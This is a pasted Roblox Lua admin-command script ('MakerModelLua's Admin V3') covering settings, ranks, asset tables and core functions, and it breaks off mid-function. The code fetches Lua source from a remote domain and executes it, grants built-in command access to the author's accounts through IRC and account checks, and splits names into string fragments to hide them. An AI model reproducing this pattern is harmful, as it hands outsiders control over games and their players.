· 8 years ago · Jul 10, 2018, 07:30 PM
1--[[
2Hi! This is LuaModelMaker's Admin V3 by MakerModelLua.
3If you want to know what commands do just go into your game and say ;cmds for a list of
4commands, what they do, examples, rank needed, and more!
5Or, go to http://www.classy-studios.com/V3/Commands.php
6If you have an Apple device, download the app here: http://appsto.re/us/37_qgb.i
7
8
9TUTORIAL ON HOW TO USE: https://www.youtube.com/watch?v=IieEFJPrjN4&list=PLSO-IUKJXZvjJKLTomz7NnuJ6syW9JWH1
10
11--->> DO NOT EDIT THESE SETTINGS <<---
12Well you can but it's a waste of your time. The settings are located in workspace
13in a folder called "MakerModelLua's Settings". You can also use this plugin:
14
15http://www.roblox.com/MakerModelLuas-Admin-Plugin-item?id=242781551
16
17USE REMOTE ADMIN:
18http://www.classy-studios.com/Login/
19Mobile: http://appsto.re/us/hEn7fb.i
20
21
22
23...also... this is open source! No stupid shady module scripts, which means it works in studio!
24
25]]
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49-- I REPEAT DON'T EDIT. YOU MIGHT BREAK SOMETHING --
50
51
52local Settings = {
53 Ranks = {
54 ["Owner"] = {"Admin2004User","mu_h"};
55 ["Admin"] = {};
56 ["Member"] = {};
57 ["Banned"] = {};
58 ["Crashed"] = {};
59 ["Muted"] = {};
60 };
61
62 Prefix = ";";
63 Bet = " ";
64 MinimumAge = 0;
65 ServerLocked = false;
66 ColorScheme = "White";
67 TransparencyScheme = 50;
68 Fun = true;
69 EnableAdminMenu = true;
70 EnableTaskBar = true;
71 FreeAdmin = false;
72 Font = "Arial";
73
74 DisableAbuse = false;
75 AbuseList = {"kill", "punish", "respawn", "blind", "flash", "control", "loopfling", "explode", "change", "decal", "sink", "damage"};
76 AbusableGear = {};
77
78 LinkedAccount = "";
79 DataKey = "";
80
81 ExecuteNotificationSound = 0; --177578949
82 EnableSounds = true;
83
84 VIPMemberID = 0;
85 VIPAdminID = 0;
86
87 GroupID = 0;
88 GroupBanRank = 0;
89 GroupMemberRank = 0;
90 GroupAdminRank = 0;
91 GroupOwnerRank = 0;
92 GroupRankBan = 0;
93 BannedGroupIDs = {};
94
95 IRCServer = "";
96 IRCChannel = "";
97 IRCCommandExecuters = {};
98
99 TrelloToken = ""
100}
101
102local Colors = {
103 ["WHITE"] = Color3.new(1,1,1);
104 ["BLACK"] = Color3.new(0,0,0);
105 ["GRAY"] = Color3.new(0.5,0.5,0.5);
106 ["RED"] = Color3.new(1,0,0);
107 ["GREEN"] = Color3.new(0,1,0);
108 ["BLUE"] = Color3.new(0,0,1);
109 ["YELLOW"] = Color3.new(1,1,0);
110 ["PINK"] = Color3.new(1,0,1);
111 ["MAGENTA"] = Color3.new(1,0,1);
112 ["CYAN"] = BrickColor.new("Cyan").Color;
113 ["TEAL"] = BrickColor.new("Teal").Color;
114 ["BROWN"] = Color3.new(0.55,0.25,0.075);
115 ["PURPLE"] = Color3.new(0.5,0,0.5);
116 ["RANDOM"] = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255);
117}
118
119local Server = {
120 Workspace = game:GetService("Workspace");
121 Players = game:GetService("Players");
122 Lighting = game:GetService("Lighting");
123 MPS = game:GetService("MarketplaceService");
124 TS = game:GetService("TeleportService");
125 HS = game:GetService("HttpService");
126 RS = game:GetService("RunService");
127 PS = game:GetService("PointsService");
128 TestS = game:GetService("TestService");
129 IS = game:GetService("InsertService");
130 Teams = game:GetService("Teams");
131 Data = game:GetService("DataStoreService");
132 GDS = game:GetService("DataStoreService"):GetGlobalDataStore();
133 NS = {Port = 0}; -- you'll be glad if you're in studio and networkserver isn't mentioned
134 Storage = game:GetService("ServerStorage");
135 RS = game:GetService("ReplicatedStorage");
136 AS = game:GetService("AssetService");
137}
138
139local Icons = {
140 ["Message"] = 7724351;
141 ["Error"] = 94011556;
142 ["Information"] = 144175130;
143 ["Check"] = 132769976;
144 ["Search"] = 61994930;
145 ["Time"] = 136391033;
146 ["Notice"] = 156507320;
147 ["Sound"] = 164682936;
148 ["Log"] = 70650545;
149 ["Question"] = 41363872;
150 ["Output"] = 11481605;
151 ["Admin"] = 302470270;
152 ["Lock"] = 11341626;
153 ["Settings"] = 131064748;
154 ["Map"] = 257119661;
155 ["Plugin"] = 257097414;
156}
157
158local IRC = {
159 Codes = {
160 ["001"] = "RPL_WELCOME",
161 ["002"] = "RPL_YOURHOST",
162 ["003"] = "RPL_CREATED",
163 ["004"] = "RPL_MYINFO",
164 ["005"] = "RPL_ISUPPORT",
165 ["250"] = "RPL_STATSCONN",
166 ["251"] = "RPL_LUSERCLIENT",
167 ["252"] = "RPL_LUSEROP",
168 ["254"] = "RPL_LUSERCHANNELS",
169 ["255"] = "RPL_LUSERME",
170 ["265"] = "RPL_LOCALUSERS",
171 ["266"] = "RPL_GLOBALUSERS",
172 ["352"] = "RPL_WHOREPLY",
173 ["371"] = "RPL_INFO",
174 ["372"] = "RPL_MOTD",
175 ["374"] = "RPL_ENDINFO",
176 ["375"] = "RPL_MOTDSTART",
177 ["376"] = "RPL_ENDOFMOTD",
178 ["422"] = "ERR_NOMOTD",
179 },
180 Ignore = {
181 ["004"] = true,
182 ["005"] = true,
183 };
184 Users = {};
185 Logs = {};
186 Chats = {};
187 Forms = {};
188 MessageAdded = Instance.new("BindableEvent");
189
190 Servers = {
191 ["esper.net"] = {
192 BaseUrl = "http://webchat.esper.net/";
193 DynamicUrl = "";
194 };
195 ["quakenet.org"] = {
196 BaseUrl = "http://webchat.quakenet.org/";
197 DynamicUrl = "dynamic/leibniz",
198 };
199 ["swiftirc.net"] = {
200 BaseUrl = "http://qwebirc.swiftirc.net/";
201 DynamicUrl = "",
202 };
203 };
204 NickName = "rbxMMLV3_"..math.random(1,100000);
205
206 SessionCounter = 0;
207 Connected = false;
208 Stop = false;
209 SessionID = "";
210}
211
212local RankHUD = {
213 ["Muted"] = 202180094;
214 ["Non-Admin"] = 202180121;
215 ["Member"] = 202180052;
216 ["Admin"] = 202180015;
217 ["Owner"] = 202179988;
218}
219
220local TextConverter = {
221 LetterSounds = {
222 ["a"] = {223757826, nil}; -- 203343899
223 ["b"] = {223533700, 0.2}; -- 203344029
224 ["c"] = {223533711, nil}; -- 203343994
225 ["d"] = {223757910, nil}; -- 203398237
226 ["e"] = {223758026, nil}; -- 203398295
227 ["f"] = {223777655, nil}; -- 203398347
228 ["g"] = {223777738, nil}; -- 203398372
229 ["h"] = {223777757, nil}; -- 203398397
230 ["i"] = {223777807, nil}; -- 203398422
231 ["j"] = {223782888, nil}; -- 203398450
232 ["k"] = {223533711, nil}; -- 203343994
233 ["l"] = {223782961, 0.4}; -- 203398541
234 ["m"] = {223782992, nil}; -- 203398578
235 ["n"] = {223783063, nil}; -- 203398599
236 ["o"] = {223783184, nil}; -- 203398611
237 ["p"] = {223783235, nil}; -- 203398727
238 ["q"] = {223783260, nil}; -- 203398755
239 ["r"] = {223783305, 0.2}; -- 203398792
240 ["s"] = {223783377, nil}; -- 203398806
241 ["t"] = {223783446, nil}; -- 203398850
242 ["u"] = {223783512, nil}; -- 203398872
243 ["v"] = {223783654, nil}; -- 203398965
244 ["w"] = {223783697, nil}; -- 203398984
245 ["x"] = {223783796, nil}; -- 203399008
246 ["y"] = {223783853, nil}; -- 203399043
247 ["z"] = {223783893, nil}; -- 203399096
248
249 ["ch"] = {223784367, 0.3}; -- 203592149
250 ["th"] = {223788235, 0.3}; -- 203399215
251 ["sh"] = {223784505, 0.2}; -- 203399566
252 ["wh"] = {223784555, 0.3}; -- 203622828
253 ["oo"] = {223784456, 0.3}; -- 203399743
254 ["ing"] = {223784393, 0.3}; -- 203402836
255 };
256
257 LongVowels = {
258 ["a"] = {223533687, nil}; -- 203343932
259 ["e"] = {223777620, nil}; -- 203398314
260 ["i"] = {223777855, nil}; -- 203398440
261 ["o"] = {223783212, nil}; -- 203398619
262 ["u"] = {223783572, nil}; -- 203398897
263 };
264
265 Pronounce = {
266 ["0"] = "zero";
267 ["1"] = "wun";
268 ["2"] = "too";
269 ["3"] = "three";
270 ["4"] = "four";
271 ["5"] = "five";
272 ["6"] = "six";
273 ["7"] = "seven";
274 ["8"] = "eyt";
275 ["9"] = "nine";
276 ["one"] = "wun";
277 ["two"] = "too";
278 ["eight"] = "eyt";
279 ["eigh"] = "ey";
280 ["gh"] = "h";
281 ["kn"] = "n";
282 ["come"] = "cu".."m";
283 ["bye"] = "bi";
284 ["#"] = "hashtag";
285 ["@"] = "at";
286 ["&"] = "and";
287 ["*"] = "astrict";
288 ["mn"] = "m";
289 ["kn"] = "n";
290 ["ies"] = "ees";
291 };
292
293 NonEnglishRules = {
294 ["to"] = "too";
295 ["you"] = "yoo";
296 ["we"] = "wee";
297 ["are"] = "erh";
298 ["your"] = "yoor";
299 ["you're"] = "yoor";
300 ["youre"] = "yoor";
301 ["pizza"] = "peetzoh";
302 ["ok"] = "okay";
303 ["have"] = "hav";
304 ["my"] = "mi";
305 ["me"] = "mee";
306 ["u"] = "yoo";
307 ["r"] = "erh";
308 ["move"] = "moov";
309 ["dove"] = "duv";
310 ["debris"] = "debree";
311 ["do"] = "doo";
312 }
313}
314
315local HTMLDecode = {
316 ["35"] = "#";
317 ["36"] = "$";
318 ["37"] = "%%";
319 ["38"] = "*";
320 ["39"] = "'";
321 ["58"] = ":";
322 ["59"] = ";";
323 ["60"] = "<";
324 ["62"] = ">";
325}
326
327
328local Assets = {
329 Packages = {
330 [27112438] = {27112025,27112039,27112052,27112056,27112068};
331 [139610216] = {139607570,139607625,139607673,139607718,139607770,139610147};
332 [77518833] = {77518564,77518616,77518654,77518696,77518737};
333 [32336368] = {32336059,32336117,32336182,32336243,32336306};
334 [59772975] = {59772137,59772181,59772219,59772279,59772667,59721671};
335 [54116460] = {54116290,54116338,54116373,54116394,54116432};
336 [39977366] = {39976703,39976829,39976927,39977192,39977295};
337 [32357766] = {32357663,32357631,32357619,32357584,32357558};
338 [27123973] = {27121265,27121306,27121353,27121393,27121432};
339 [55717536] = {55717271,55717330,55717388,55717434,55717491};
340 [28279963] = {28279160,28279217,28279859,28279894,28279938};
341 [27403592] = {27402580,27402546,27402641,27402714,27402742};
342 [86499905] = {86499666,86499698,86499716,86499753,86499793,86498113,62724852,86487766};
343 [86500185] = {86500054,86500078,86500036,86500008,86500064,86487700,86498048,62234425};
344 [48474394] = {48474356,48474294};
345 [187996626] = {187996057,187996098,187996167,187996258,187996321,187996409,187996534};
346 [223826660] = {223824598,223825145,223825310,223825496,223825618,223825761,223825893,223800426};
347 [188835832] = {188835233,188835327,188835428,188835511,188835586,188835673,188644771};
348 [139581948] = {139581117,139581174,139581230,139581292,139581375,139581559,139581668,139581823};
349 [33378577] = {33378366,33378438,33378484,33378522,33378540};
350 [101744863] = {101742885,101743631,101716880,101744248,101744215,101744371};
351 [136793141] = {136792342,136792633,136792698,136792747,136792820,136795159,136795130};
352 [91658555] = {91657680,91657749,91657884,91657986,91658092,91658290,90249118};
353 [41851073] = {41850825,41850868,41850915,41851009,41850959}
354 };
355 AssetTypes = {
356 [0] = "Product";
357 [1] = "Image";
358 [2] = "T-Shirt";
359 [3] = "Audio";
360 [4] = "Mesh";
361 [5] = "Lua";
362 [6] = "HTML";
363 [7] = "Text";
364 [8] = "Hat";
365 [9] = "Place";
366 [10] = "Model";
367 [11] = "Shirt";
368 [12] = "Pants";
369 [13] = "Decal";
370 [16] = "Avatar";
371 [17] = "Head";
372 [18] = "Face";
373 [19] = "Gear";
374 [21] = "Badge";
375 [22] = "Group Emblem";
376 [24] = "Animation";
377 [25] = "Arms";
378 [26] = "Legs";
379 [27] = "Torso";
380 [28] = "Right Arm";
381 [29] = "Left Arm";
382 [30] = "Left Leg";
383 [31] = "Right Leg";
384 [32] = "Package";
385 [33] = "YouTube Video";
386 [34] = "Game Pass";
387 [38] = "Plugin";
388 [39] = "SolidModel";
389 [40] = "MeshPart";
390 [41] = "Hair Accessory";
391 [42] = "Face Accessory";
392 [43] = "Neck Accessory";
393 [44] = "Shoulder Accessory";
394 [45] = "Front Accessory";
395 [46] = "Back Accessory";
396 };
397 AccessoryTypes = {
398 ["all"] = 19;
399 ["hats"] = 9;
400 ["hair"] = 20;
401 ["face"] = 21;
402 ["neck"] = 22;
403 ["shoulder"] = 23;
404 ["front"] = 24;
405 ["back"] = 25;
406 ["waist"] = 26;
407 };
408}
409
410local CharacterCache = {
411 {"MakerModelLua", 38837082};
412 {"LuaModelMaker", 20920633};
413 {"builderman", 156};
414 {"Shedletsky", 261};
415 {"Telamon", 13645};
416 {"ROBLOX", 1};
417}
418
419local FaceCovert = {
420 Left = "xpos";
421 Right = "xneg";
422 Front = "zpos";
423 Back = "zneg";
424 Top = "ypos";
425 Bottom = "yneg";
426}
427
428local Meshes = {
429 ["crown"] = {1, 1078075};
430 ["king"] = {1, 11419761};
431 ["teapot"] = {0.03, 1029523};
432 ["apple"] = {2.5, 16190555};
433 ["potato"] = {1, 25268275};
434 ["panda"] = {0.5, 20709221};
435 ["dominus"] = {0.5, 21057410};
436 ["fedora"] = {0.75, 13640868};
437 ["noob"] = {1, 20929341};
438 ["knife"] = {0.3, 121944778};
439 ["book"] = {0.3, 1136139};
440}
441
442local NotifySounds = {
443 ["Hover"] = 223134269;
444 ["Select"] = 292141227;
445}
446
447local Trello = {
448 TrelloInfoCard = "x1rUtwEj";
449 MainBoard = {};
450 RequiredLists = {};
451 RankChecklistCache = {};
452 ToggleChecklist = nil;
453 CommandID = nil;
454 LastCommandDT = 0;
455 AdminBoardID = "577ea1b21cb7975666524f26";
456 RemoteAdminChecklist = "5835cfd4eed73dc5f9cdcfbf";
457 RemoteDataCard = "dLtMo1en"
458}
459
460local ScriptBuilders = {
461 [260897989] = "MML's";
462 [21053279] = "Anti's pub";
463 [21053219] = "Anti's pri";
464 [20279777] = "Void's 1";
465 [437965235] = "Void's 2";
466 [227015991] = "Vox's";
467 [210101277] = "Master's";
468 [531937877] = "Bleu pigs";
469 [519251450] = "Game's";
470}
471
472-- Ok, if you're here, you must be a scripter. Fine. I guess you can look ;)
473-- Why else would I NOT have put it in a module?!?!?
474
475local ChatColors = {"Bright red", "Bright blue", "Earth green", "Bright violet", "Bright orange", "Bright yellow", "Light reddish violet", "Brick yellow"}
476
477local SoundList,GlobalSoundList = {},{}
478local ScriptCache,MarketCache,PackageCache = {},{},Assets.Packages
479local TempChatLogs = {}
480local ToolRegions = {Server.Lighting, Server.RS, Server.Storage}
481local NoSpeak = false
482
483local SOUND,MARKET,RANK,STRING,GUI = {},{},{},{},{}
484local CORE,REMOTE = {Version = script:FindFirstChild("Version"), Domain = "https://www.classy-studios.com", UnsecureDomain = "http://www.classy-studios.com"},{RemoteAdmin = {Command, ServerCommand, ServerPort, TimeStamp}, RemoteConnection = false}
485
486local ChatLogs,CommandLogs = {},{}
487local ClientInfo,LoopKills,List,Flings,Beeps = {},{},{},{},{}
488local PriChat = {Chats = {}, Chatted = Instance.new("BindableEvent")}
489local Dispose,Jails,PermCommandBars = {},{},{}
490local Waypoints = {["Center"] = Vector3.new(0,0,0)}
491local Objects = {}
492local Sound = nil
493local ModLighting = false
494local DataReady = true
495local RemoteAbuseGear = {}
496
497local GameOwner = "[ Client ]"
498local PlaceName = "Unknown"
499local PlaceInfo = {}
500local IsStudio = false
501local IsSB = false
502local Date = nil
503local Fonts = {}
504local PendingRequests = {}
505local F3X = script:FindFirstChild("F3X Tools")
506local Plugins = game:FindFirstChild("Ma".."kerModelL".."ua's Admin Plugins", true)
507local RemoteData = {RemoteAdminWait = 5, ChatLogWait = 20, TrelloWait = 10}
508local KeyBinds = {}
509local Crowns = {}
510local LastKeys = {}
511local Cars = {}
512local StringReplacements = {}
513local SoundInfo = {["ID"] = 0, ["Name"] = "None", ["Creator"] = "None"}
514local NoBet = {"/", "-", "(", ")", ""}
515local ShouldFilter = true
516
517local CrownStorage = script:FindFirstChild("CrownStorage")
518if not CrownStorage then CrownStorage = Instance.new("Model", script) CrownStorage.Name = "CrownStorage" end
519
520-- import old settings just in case --
521local OldSettings = script.Parent:FindFirstChild("LuaModelMaker's Admin Settings") or game:FindFirstChild("LuaModelMaker's Admin Settings", true)
522if OldSettings then
523 OldSettings = require(OldSettings)
524
525 for _,ValName in pairs({"Ranks", "Prefix", "Bet", "ServerLocked", "DisableAbuse", "AbuseList", "AbusableGear", "LinkedAccount", "DataKey", "VIPMemberID", "VIPAdminID", "GroupID", "GroupMemberRank", "GroupAdminRank", "GroupOwnerRank"}) do
526 Settings[ValName] = OldSettings[ValName]
527 end
528 Settings.GroupBanRank = OldSettings.RankBan
529 Settings.Fun = OldSettings.FUN
530end
531
532if F3X then
533 F3X = F3X:Clone()
534 F3X.Handle.Anchored = false
535 script:FindFirstChild("F3X Tools"):Destroy()
536end
537
538wait(0.1)
539
540local SettingsValues = Server.Storage:FindFirstChild("MakerModelLua's Admin Settings") or game:FindFirstChild("MakerModelLua's Admin Settings", true)
541-- tries to defualt to server storage, just in case an exploiter makes their own settings.
542
543if SettingsValues then
544 SettingsValues.Parent = Server.Storage -- fokin exploiters succ my cocc
545 if SettingsValues:IsA("Folder") or SettingsValues:IsA("Configuration") then
546 for _,Value in pairs(SettingsValues:GetChildren()) do
547 if Settings[Value.Name] ~= nil then
548 if Value:IsA("Folder") or Value:IsA("Configuration") then -- ranks
549 for _,NewValue in pairs(Value:GetChildren()) do
550 if ypcall(function() return NewValue.Value end) then
551 if Settings[Value.Name][NewValue.Name] then
552 local Val = NewValue.Value
553 if type(Settings[Value.Name][NewValue.Name]) == "table" then
554 Val = {}
555 for Word in string.gmatch(NewValue.Value, "[%w_]+") do
556 table.insert(Val, Word)
557 end
558 end
559 Settings[Value.Name][NewValue.Name] = Val
560 end
561 end
562 end
563 else
564 if Settings[Value.Name] ~= nil then
565 local Val = Value.Value
566 if type(Settings[Value.Name]) == "table" then
567 Val = {}
568 for Word in string.gmatch(Value.Value, "%w+") do
569 table.insert(Val, Word)
570 end
571 end
572 Settings[Value.Name] = Val
573 end
574 end
575 end
576 end
577 end
578end
579
580if Settings.LinkedAccount == "Admin" and game.CreatorId ~= 38837082 then
581 Settings.LinkedAccount = ""
582elseif game.PlaceId == 199055528 or game.PlaceId == 329866187 then
583 Settings.LinkedAccount = "Admin"
584end
585
586local getfenv,setfenv,table,math,coroutine,pcall,ypcall,xpcall,string,assert,type,unpack,loadstring,tostring,tonumber,print = getfenv,setfenv,table,math,coroutine,pcall,ypcall,xpcall,string,assert,type,unpack,loadstring,tostring,tonumber,print -- localize variables so executables don't troll the script
587local Workspace,workspace,Instance,require,script = Workspace,workspace,Instance,require,script
588
589wait(1)
590
591local ExploitModule = game:FindFirstChild("MakerMode".."lLua's Admin Anti-Exploit Module", true)
592
593if Server.Players.LocalPlayer then print("MML Admin Compromised: Running in studio") IsStudio = true end
594
595if not IsStudio then
596 Server.NS = game:GetService("NetworkServer")
597 script.Name = "Maker".."Mo".."delLua's Admin"
598end
599
600if game.PlaceId > 0 then
601 PlaceInfo = Server.MPS:GetProductInfo(game.PlaceId)
602 PlaceName = PlaceInfo.Name
603end
604
605local function GetGameOwner()
606 if PlaceInfo.Creator.CreatorType == "Group" then
607 GameOwner = game:GetService("GroupService"):GetGroupInfoAsync(PlaceInfo.Creator.CreatorTargetId).Owner.Name
608 print("MML's Admin: Found group owner for game: "..GameOwner)
609 elseif PlaceInfo.Creator.CreatorType == "User" then
610 GameOwner = PlaceInfo.Creator.Name
611 print("MML's Admin: Found game owner: "..GameOwner)
612 else
613 ypcall(function() GameOwner = Server.Players:GetNameFromUserIdAsync(game.CreatorId) print("MML's Admin: Found game owner: "..GameOwner) end)
614 end
615end
616
617if string.byte(string.sub(PlaceName,1,1)) == 226 then
618 PlaceName = string.sub(PlaceName,4,#PlaceName)
619end
620for i = 1,5 do
621 if GameOwner == "[ Client ]" then
622 print("MML's Admin: Attempting to establish owner's name #"..i)
623 GetGameOwner()
624 wait(1)
625 end
626end
627
628if ScriptBuilders[PlaceID] or NLS then
629 IsSB = true
630end
631
632if IsSB then
633 ShouldFilter = false
634 Settings.IRCServer = "swiftirc.net";
635 Settings.IRCChannel = "#PkamaraSB";
636 Settings.IRCCommandExecuters = {"MakerModelLua", "MakerModelLuaIRC"}
637 if Settings.TrelloToken == "" then
638 Settings.LinkedAccount = "ScriptBuilder"
639 end
640 if Settings.DataKey == "" then coroutine.wrap(function()
641 repeat wait(1) until Server.Storage:FindFirstChild("MML DataKey")
642 local Key = Server.Storage:FindFirstChild("MML DataKey")
643 print("Found key: "..Key.Value)
644 Settings.DataKey = Key.Value
645 Key:Destroy()
646 end)() end
647end
648local PlaceInfoFormat = "{PLACE: "..string.sub(PlaceName,1,25).."("..game.PlaceId..") | PORT: "..Server.NS.Port.."}"
649table.insert(Settings.Ranks["Owner"], GameOwner)
650
651for _,Font in pairs(Enum.Font:GetEnumItems()) do
652 Fonts[Font.Name] = Font
653end
654
655local LogClient = script:FindFirstChild("AddClientInfo")
656if LogClient then LogClient:Destroy() end
657LogClient = Instance.new("RemoteFunction", script) LogClient.Name = "AddClientInfo"
658LogClient.OnServerInvoke = function(Player, Info)
659 if Info then
660 for Key,Data in pairs(Info) do
661 ClientInfo[Player.Name][Key] = Data
662 end
663 end
664end
665
666local function MakeFunction(Type, Name)
667 local Func = script:FindFirstChild(Name)
668 if Func then Func:Destroy() end
669 Func = Instance.new(Type, script) Func.Name = Name
670
671 getfenv()[Name] = Func
672 return Func
673end
674
675MakeFunction("BindableFunction", "ExecuteCommand")
676MakeFunction("RemoteFunction", "ExecuteCommandClient")
677MakeFunction("BindableFunction", "ExecuteCode")
678
679MakeFunction("RemoteFunction", "IsAdmin")
680MakeFunction("RemoteFunction", "AddExploit")
681MakeFunction("BindableFunction", "AddExploitServer")
682MakeFunction("RemoteFunction", "KickClient")
683MakeFunction("RemoteFunction", "ConvertTextToSound")
684
685MakeFunction("RemoteFunction", "KeyPressed")
686MakeFunction("RemoteFunction", "InputKey")
687
688MakeFunction("RemoteFunction", "RankPlayerLocal")
689MakeFunction("BindableFunction", "RankPlayerServer")
690
691--[[
692if NLS then
693 local Value = script:FindFirstChild("Override")
694 LogClient.Parent = game
695 if not Value then
696 local Value = Instance.new("BoolValue", script) Value.Name = "Override"
697 local CloneScript = script:Clone()
698 CloneScript.Disabled = true
699 CloneScript.Parent = game:FindFirstChild("ServerScriptService")
700 CloneScript.Disabled = false
701 CloneScript.Parent = nil
702
703 script:Destroy() script.Disabled = true
704 end
705end
706]]
707
708if not CORE.Version then CORE.Version = {Value = "3.Unknown"} end
709
710IRC.NickName = "rbxMMLV3_"..game.PlaceId.."_"..Server.NS.Port
711
712-- Core functions --
713
714function CORE:FixSettings()
715 for _,Bet in pairs(NoBet) do
716 if Settings.Bet == Bet then
717 Settings.Bet = " "
718 break
719 end
720 end
721 CORE:ChangeBet(Settings.Bet)
722
723 if Settings.VIPMemberID == 0 then Settings.VIPMemberID = 1 end
724 if Settings.VIPAdminID == 0 then Settings.VIPAdminID = 1 end
725
726 if Settings.TransparencyScheme > 90 then Settings.TransparencyScheme = 90 end
727 if Settings.TransparencyScheme < 10 then Settings.TransparencyScheme = 10 end
728 Settings.TransparencyScheme = Settings.TransparencyScheme/100
729
730 if not Fonts[Settings.Font] then
731 Settings.Font = "Arial"
732 end
733end
734
735function CORE:NilPlayer(Player)
736 if Player == nil or type(Player) == "table" then return true else return false end
737end
738
739function CORE:ExecuteResource(ResourceName, Parent, Data)
740 local ReturnScript = nil
741 local Executed = true
742 if script:FindFirstChild("Resources") then
743 local RawResource = script.Resources:FindFirstChild(ResourceName)
744 if RawResource then
745 local Resource = RawResource:Clone()
746 Resource.Disabled = true
747 Resource.Parent = Parent
748 if Data then
749 for Key,Value in pairs(Data) do
750 if Resource[Key] then
751 Resource[Key].Value = Value
752 end
753 end
754 end
755 wait()
756 Resource.Disabled = false
757 ReturnScript = Resource
758 else
759 Executed = false
760 end
761 else
762 Executed = false
763 end
764 if Executed == false then
765 if not Data then Data = {} end
766 local Source = ScriptCache[ResourceName]
767
768 if not Source then
769 Source = REMOTE:GetURL(CORE.Domain.."/Lua/Resources/"..ResourceName..".lua")
770 if Source then
771 ScriptCache[ResourceName] = Source
772 end
773 end
774
775 if Data and Source then
776 for Key,Value in pairs(Data) do
777 Source = string.gsub(Source, "@@"..Key.."@@", tostring(Value))
778 end
779 end
780
781 if Source then
782 if NLS then
783 ReturnScript = NLS(Source, Parent)
784 elseif createLocalScriptWithSource then
785 ReturnScript = createLocalScriptWithSource(Source)
786 ReturnScript.Parent = Parent
787 end
788 end
789 end
790 return ReturnScript
791end
792
793function CORE:CreateRemotePropertyReader(Obj, Override)
794 if Server.Workspace.FilteringEnabled == true or Override then
795 local Reader = Instance.new("RemoteFunction", Obj)
796 Reader.Name = "RemotePropertyReader"
797 CORE:ExecuteResource("RemotePropertyReader", Reader)
798 return Reader
799 else
800 return Obj
801 end
802end
803
804function CORE:ReadProperty(Reader, Player, Property)
805 if Reader:IsA("RemoteFunction") then
806 return Reader:InvokeClient(Player, Property)
807 else
808 return Reader[Property]
809 end
810end
811
812function CORE:WriteProperty(Reader, Player, Property, Value)
813 if Reader:IsA("RemoteFunction") then
814 return Reader:InvokeClient(Player, Property, Value)
815 else
816 return Reader[Property]
817 end
818end
819
820
821function CORE:CreateRemoteEvent(Obj, EventName)
822 local Event = Instance.new("RemoteEvent", Obj)
823 Event.Name = "RemoteEvent_"..EventName
824 CORE:ExecuteResource("RemoteEventHandler", Event, {["EventName"] = EventName})
825 return Event
826end
827
828function CORE:HandleEvent(Obj, EventName, Func, NewThread)
829 local function Handle()
830 if Server.Workspace.FilteringEnabled == true then
831 local Event = CORE:CreateRemoteEvent(Obj, EventName)
832 return Event.OnServerEvent:connect(function(Player, ...)
833 Func(...)
834 end)
835 else
836 return Obj[EventName]:connect(Func)
837 end
838 end
839 if NewThread then
840 Spawn(Handle)
841 else
842 Handle()
843 end
844end
845
846function CORE:HandleError(Error, Speaker)
847 local Return = ""
848 if not Error or Error == "" then
849 Return = "Unknown Error"
850 else
851 Return = "Error: "..(string.match(Error, '"*".:(.+)') or "Unknown line: "..Error)
852 end
853 if Speaker then
854 GUI:SendMessage(Speaker, "Error ", "RED "..Return, "Error")
855 end
856 return Return
857end
858
859local function ExecuteSafe(Source, Speaker) -- no CORE
860 local Script, Error = loadstring(Source)
861 if Error then
862 return false, CORE:HandleError(Error, Speaker)
863 else
864 getfenv(Script).SOUND,getfenv(Script).MARKET,getfenv(Script).RANK,getfenv(Script).STRING,getfenv(Script).GUI,getfenv(Script).CORE,getfenv(Script).REMOTE = SOUND,MARKET,RANK,STRING,GUI,CORE,REMOTE
865 getfenv(Script).Server, getfenv(Script).script = Server,script
866 if Speaker then
867 getfenv(Script).print = function(...)
868 GUI:SendMessage(Speaker, "Print Output", STRING:UnpackArgs(...), "Output")
869 end
870 getfenv(Script).print_array = function(List)
871 if type(List) == "table" then
872 GUI:ListGui(Speaker, "Listed Table", List, "Output")
873 end
874 end
875 end
876
877 local Suc, Error = ypcall(coroutine.wrap(Script))
878
879 if not Suc then
880 Error = CORE:HandleError(Error, Speaker)
881 end
882
883 return Suc,Error
884 end
885end
886
887function CORE:GetTime(Regular, FullDate)
888 if Regular == nil then Regular = true end
889 local Meridiem = ""
890 if Regular == true then Meridiem = " AM" end
891 local SecondsOfToday = math.fmod(os.time(), 60*60*24)
892 local Hour = math.floor(SecondsOfToday / (60*60))
893 local Minute = math.floor(SecondsOfToday/60 - Hour*60)
894 local Second = math.floor(math.fmod(SecondsOfToday, 60))
895 if Hour > 12 and Regular == true then
896 Hour = Hour - 12
897 Meridiem = " PM"
898 end
899 Hour,Minute,Second = tostring(Hour),tostring(Minute),tostring(Second)
900 if #Hour <= 1 then Hour = "0"..Hour end
901 if #Minute <= 1 then Minute = "0"..Minute end
902 if #Second <= 1 then Second = "0"..Second end
903 local Return = Hour..":"..Minute..":"..Second..Meridiem
904 if FullDate == true and Date then Return = Date.." "..Return end
905 return Return
906end
907
908function CORE:RemoveAdmin(Speaker)
909 local Answer = true -- false
910 if not CORE:NilPlayer(Speaker) then
911 Answer = GUI:PromptMessageWithButtons(Speaker, "Remove M".."akerModelLua's Admin?", "Would you like to remove Ma".."kerModel".."L".."ua's Admin? After removing the admin, no one is admin and cannot be re-inserted until the server restarts. Continue?", "Question", {"Yes", "No"})
912 end
913 if Answer == "Yes" or CORE:NilPlayer(Speaker) then
914 if not CORE:NilPlayer(Speaker) then SOUND:PlayNotification(Speaker, 177835465, 1) wait(0.5) end
915 for _,Player in pairs(Server.Players:GetPlayers()) do if Player:FindFirstChild("PlayerGui") then
916 for _,Item in pairs(Player:GetChildren()) do
917 if Item.Name == "SendChat" or Item.Name == "DetachChatMM".."L" then
918 Item:Destroy()
919 end
920 end
921 for _,GUI in pairs(Player.PlayerGui:GetChildren()) do
922 if GUI.Name == "M".."ak".."erModelLua's Admin Form" or GUI.Name == "M".."ak".."erM".."odelLua's Admin Form Sound" or GUI.Name == "M".."a".."k".."erMo".."delLua's TaskBar" or GUI.Name == "M".."a".."k".."e".."r".."m".."ode".."lLu".."a's HUD Gui" then
923 GUI:Destroy()
924 end
925 end
926 end end
927 for _,Car in pairs(Cars) do
928 Car:Destroy()
929 end
930 CORE:FixLighting()
931 while wait() do
932 if script:FindFirstChild("Override") then script.Override.Value = true end
933 Settings,CORE,IRC = nil,{},{}
934 if Sound then Sound:Stop() end
935 if ExploitModule then ExploitModule.Disabled = true ExploitModule:Destroy() end
936 script:ClearAllChildren() script:Destroy() script.Disabled = true
937 end
938 end
939end
940
941function CORE:MakeBase()
942 for _,Get in pairs(Workspace:GetChildren()) do
